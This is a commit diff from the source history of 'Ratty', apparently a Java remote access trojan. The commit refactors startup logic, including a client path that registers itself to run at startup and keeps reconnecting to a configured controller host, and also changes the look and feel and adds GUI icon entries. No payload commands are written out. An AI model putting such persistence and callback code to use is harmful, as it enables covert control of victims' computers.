Browse Source

Small changes

Reduced the client file size
Client's look and feel is now different
master
Sogomn 9 years ago
parent
commit
0e12f505bb
  1. 2
      Ratty/src/de/sogomn/rat/Client.java
  2. 111
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 2
      Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java

2
Ratty/src/de/sogomn/rat/Client.java

@ -69,7 +69,7 @@ public final class Client implements IConnectionObserver, IGuiController {
chat.close();
connection.setObserver(null);
Ratty.connectToHost(address, port);
Ratty.startClient(address, port);
}
@Override

111
Ratty/src/de/sogomn/rat/Ratty.java

@ -24,7 +24,7 @@ import de.sogomn.rat.server.ActiveServer;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.20.0";
public static final String VERSION = "1.20.1";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;
@ -42,11 +42,22 @@ public final class Ratty {
private static final String DEBUG_SERVER = LANGUAGE.getString("debug.server");
private static final String DEBUG_CLIENT = LANGUAGE.getString("debug.client");
static {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
final String addressString = lines[0].trim();
final String portString = lines[1].trim();
final String clientString = lines[2].trim();
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
}
private Ratty() {
//...
}
private static void setLookAndFeel() {
private static void setNimbusLookAndFeel() {
final NimbusLookAndFeel nimbus = new NimbusLookAndFeel();
final UIDefaults defaults = nimbus.getDefaults();
@ -61,15 +72,17 @@ public final class Ratty {
}
}
private static void readConnectionData() throws ArrayIndexOutOfBoundsException, NumberFormatException {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
final String addressString = lines[0].trim();
final String portString = lines[1].trim();
final String clientString = lines[2].trim();
private static void setSystemLookAndFeel() {
try {
final String className = UIManager.getSystemLookAndFeelClassName();
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
JFrame.setDefaultLookAndFeelDecorated(true);
JDialog.setDefaultLookAndFeelDecorated(true);
UIManager.setLookAndFeel(className);
} catch (final Exception ex) {
ex.printStackTrace();
}
}
private static void addToStartup() {
@ -101,7 +114,48 @@ public final class Ratty {
}
}
public static void connectToHost(final String address, final int port) {
private static void startDebug() {
final String[] options = {DEBUG_SERVER, DEBUG_CLIENT};
final int input = JOptionPane.showOptionDialog(null, DEBUG_MESSAGE, null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
if (input == JOptionPane.YES_OPTION) {
System.out.println(DEBUG_SERVER);
setNimbusLookAndFeel();
startServer(port);
} else if (input == JOptionPane.NO_OPTION) {
System.out.println(DEBUG_CLIENT);
setSystemLookAndFeel();
startClient(address, port);
}
}
private static void startClient() {
addToStartup();
setSystemLookAndFeel();
startClient(address, port);
}
private static void startServer() {
setNimbusLookAndFeel();
final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION);
if (input == null) {
return;
}
final int port = parsePort(input);
if (port != -1) {
startServer(port);
} else {
JOptionPane.showMessageDialog(null, PORT_ERROR_MESSAGE, null, JOptionPane.ERROR_MESSAGE);
}
}
public static void startClient(final String address, final int port) {
final ActiveConnection connection = new ActiveConnection(address, port);
if (!connection.isOpen()) {
@ -111,7 +165,7 @@ public final class Ratty {
//...
} finally {
System.gc();
connectToHost(address, port);
startClient(address, port);
}
return;
@ -134,39 +188,12 @@ public final class Ratty {
}
public static void main(final String[] args) {
setLookAndFeel();
readConnectionData();
if (DEBUG) {
final String[] options = {DEBUG_SERVER, DEBUG_CLIENT};
final int input = JOptionPane.showOptionDialog(null, DEBUG_MESSAGE, null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
if (input == JOptionPane.YES_OPTION) {
System.out.println(DEBUG_SERVER);
startServer(port);
} else if (input == JOptionPane.NO_OPTION) {
System.out.println(DEBUG_CLIENT);
connectToHost(address, port);
}
startDebug();
} else if (client) {
addToStartup();
connectToHost(address, port);
startClient();
} else {
final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION);
if (input == null) {
return;
}
final int port = parsePort(input);
if (port != -1) {
startServer(port);
} else {
JOptionPane.showMessageDialog(null, PORT_ERROR_MESSAGE, null, JOptionPane.ERROR_MESSAGE);
}
startServer();
}
}

2
Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java

@ -74,6 +74,8 @@ public final class RattyGuiController extends AbstractRattyController implements
"gui_icon.png",
"gui_menu_icons.png",
"gui_category_icons.png",
"gui_file_icons.png",
"gui_notification_icons.png",
"language/lang_bsq.properties",
"language/lang_de.properties",
"language/lang_en.properties",

Loading…
Cancel
Save